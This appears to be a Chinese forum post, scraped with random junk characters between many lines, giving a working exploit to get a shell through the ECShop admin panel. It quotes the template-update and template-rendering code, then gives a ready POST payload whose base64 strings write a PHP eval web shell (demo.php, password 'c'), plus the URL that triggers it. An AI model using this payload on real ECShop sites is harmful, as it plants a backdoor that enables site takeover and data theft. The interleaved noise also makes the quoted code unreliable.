Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 h* T; @& q) ]
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
  N) s8 a! b( Q! x  X2 kadmin/template.php

" Q1 N, f' d& B+ ]1 if ($_REQUEST['act'] == 'update_library')
5 K  J1 \8 a/ b
3 x0 a' X) s/ s! c0 n; t6 j' w2   

+ H2 o$ r2 L* p3 V3 {

/ p: R6 e8 ~0 Z. Q4 A/ ?  o4     check_authz_json('library_manage');
0 }4 @# x& ?9 r
* s7 f( t& J! M6 R5   
. z* V1 l" V, x' V: r9 V" o+ U
3 z# }9 `+ t8 ?6     $html = stripslashes(json_str_iconv($_POST['html']));
% U, O5 J- |+ `4 ~0 U( J9 E
7   
% W0 w- r2 p8 U% k8 v2 h
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

* J/ O) R$ `& C2 N+ _9 j) L9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 h# |% l  Z7 d! Z/ U6 F
2 b$ d4 _7 o" g$ W2 G11   
" K: D. c& t( o. {
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
  y) c) F7 k; H4 v# N
13   
1 `/ O, |' g9 E, o
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

' b3 H# o  G& d15     {

( _( \. h3 L4 O# p16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
5 k& S7 X! s; g) h1 s9 ?+ d  T
+ z: v. {  ]- F' F6 z17         make_json_result('', $_LANG['update_lib_success']);
9 N5 Q0 G& r" n( L+ a' V  j9 i1 ^; W+ Y6 e( P
18     }
+ @$ s8 E3 f6 t! U, P2 N' l  e
19     else
, B+ B$ C3 _0 G1 E/ K8 F
20     {

0 L; d9 V& |0 J2 g2 l+ i21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

, j: l. \' G& Q1 C0 O/ e22     }
1 u9 J) l: w' Z0 \% W
  n* o5 X3 E8 M23 }
3 M5 ^4 [( ?0 w1 {4 H- D% h3 q
那么找个比较方便调用了模板的文件
index.php

1 if ($act == 'cat_rec')

2   

3 {

4   

5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
" G+ |% f# m1 B' `" y' T; U
6   
& L2 h2 h5 n5 a
' j4 o- G3 z7 y6 m% y* ]  T2 u4 C7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
, N! j- E' C- x  I2 M9 n- D4 `, g6 V
1 Z! }* J8 N# F# v8 I' A8   

- t8 D8 C/ N. ]+ a: S9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
+ d  v2 V6 G9 X
10   
; `0 G( c6 E5 O" p  N( _
7 G2 p5 c( s& a' T, H11     include_once('includes/cls_json.php');
' P) V% A7 h; c6 h( r8 }/ Q8 `
12   

13     $json = new JSON;
& Z- u" S. Q5 Y9 W8 V9 M0 D, L
- U1 g1 X! D6 f3 T4 p14   
0 c9 p1 P3 U/ j/ O" s& }( o
8 L. i$ X" _. O/ V$ J/ R15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
+ B2 S& w% v  g" v
16   

, B0 `, J2 Y( `# p( V" G17     $children = get_children($cat_id);
5 W) Z3 W" z8 [! m$ a
( l! t2 a* b/ M  W' Q  L18   
* H  G) @+ l! M  q
$ \& v4 u& K3 E$ P8 y  [' \! \7 v1 y19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   
; p, ?! K% l1 c% q( o9 l
21     $smarty->assign('cat_rec_sign', 1);
3 x; Z# f& k" j, M2 P6 r
: r' }; f* F7 m2 `( y0 }. E: a7 }22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; g$ e$ D% Z. D1 ^9 ?
% x7 d7 f7 g) k& u24   

6 A( A! V! m6 Y" N) ~25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
4 t" ?6 j* Z7 I! w
2 u( C. {* f2 p; h2 k) [. m26   

, I# Y5 O9 c" B. N7 D27         echo $rec_array[$rec_type];

28   
. ^$ m8 C6 W9 R% V- h$ M
29     die($json->encode($result));

30   

31 }
* t9 B. q  `! S% d* H5 D9 T6 p
那么就有利用方法了
1 B3 u! x: `+ q, wpost包到http://localhost/ec/admin/template.php?act=update_library
  j1 Y3 c- y! T  W+ iPost内容：
" k6 _$ Q8 ~/ t, {7 z) l8 z
​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
6 _; ^$ X5 J% g. q/ o
. Q& j  D9 G+ n) D+ Q/ d然后访问http://localhost/ec/index.php?act=cat_rec

shel地址：http://localhost/ec/demo.php
密码c
3 T1 V/ ^3 U1 A; K( _, t6 h4 m
* I5 ?2 {2 m  f6 k3 A6 R